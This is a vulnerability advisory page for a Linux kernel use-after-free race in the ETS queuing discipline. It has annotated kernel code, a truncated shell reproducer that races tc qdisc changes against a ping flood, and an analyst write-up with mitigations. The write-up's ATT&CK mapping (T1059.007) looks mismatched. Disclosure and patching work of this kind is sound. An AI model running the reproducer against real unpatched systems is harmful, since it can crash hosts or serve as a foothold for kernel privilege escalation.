CVE-2025-71066 in Linux
Summary
by MITRE • 01/13/2026
In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
[email protected] says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) {
...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) {
if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
list_del_init(&q->classes[i].alist);
qdisc_purge_queue(q->classes[i].qdisc);
}
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) {
if (q->classes[i].qdisc->q.qlen) {
// (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active);
q->classes[i].deficit = quanta[i];
} } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) {
q->classes[i].qdisc = queues[i];
if (q->classes[i].qdisc != &noop_qdisc)
qdisc_hash_add(q->classes[i].qdisc, true);
}
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) {
// (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc);
// (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL;
WRITE_ONCE(q->classes[i].quantum, 0);
q->classes[i].deficit = 0;
gnet_stats_basic_sync_init(&q->classes[i].bstats);
memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
} return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by [email protected])
``` DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() {
tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
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Analysis
by VulDB Data Team • 05/23/2026
The vulnerability CVE-2025-71066 resides within the Linux kernel's traffic control subsystem, specifically in the Enhanced Transmission Selection (ETS) queuing discipline implementation. This flaw manifests as a use-after-free condition affecting the `struct Qdisc` object during concurrent execution of the `ets_qdisc_change` and `ets_qdisc_dequeue` functions. The race condition occurs due to improper synchronization between these two critical operations, creating a window where a freed qdisc structure can be accessed, leading to potential arbitrary code execution. The vulnerability is classified under CWE-416 as Use After Free, and aligns with ATT&CK technique T1059.007 for execution through kernel-mode code injection, since the attacker must manipulate the kernel state to achieve the condition.
The technical root cause lies in the `ets_qdisc_change` function's handling of class removal and qdisc deallocation. During the change operation, the function first locks the qdisc tree to prevent concurrent dequeue operations, processes class cleanup, and then unlocks the tree. However, after unlocking, the function proceeds to decrement reference counts and free qdisc structures without ensuring that all active list entries are removed. This sequence leaves classes in the active list while their associated qdisc structures are already freed, creating a window where `ets_qdisc_dequeue` can attempt to access freed memory. The race condition is triggered when the dequeue operation occurs between the `qdisc_put` call that decrements the reference count and the `q->classes[i].qdisc = NULL` assignment that clears the pointer. This design flaw allows for potential memory corruption and privilege escalation.
The operational impact of this vulnerability is significant, particularly in environments where unprivileged users have access to user and network namespaces, which is a common scenario in containerized environments and virtualized systems. The attacker requires the ability to create new user and network namespaces to effectively exploit this vulnerability, as the attack vector relies on manipulating the network namespace's traffic control configuration. The exploit involves a precise timing attack where a ping flood is used to stress the queuing discipline during the vulnerable window, combined with tc commands that trigger the change operations in rapid succession. This creates the necessary conditions for the race to occur, potentially allowing an attacker to control the instruction pointer and execute arbitrary code with kernel privileges.
Mitigation strategies for this vulnerability involve applying the kernel patch that ensures classes are removed from the active list before their associated qdisc structures are freed. The fix enforces proper synchronization by removing the class from the active list before decrementing the reference count and freeing the qdisc, thereby eliminating the race condition window. System administrators should prioritize updating to kernel versions that contain this fix, particularly in environments where unprivileged users have namespace creation capabilities. Additional protective measures include restricting user namespace creation where possible, implementing strict network access controls, and monitoring for unusual tc command patterns that might indicate exploitation attempts. Organizations should also consider deploying kernel lockdown features and ensuring that network namespace capabilities are properly restricted through capability-based access controls to minimize the attack surface.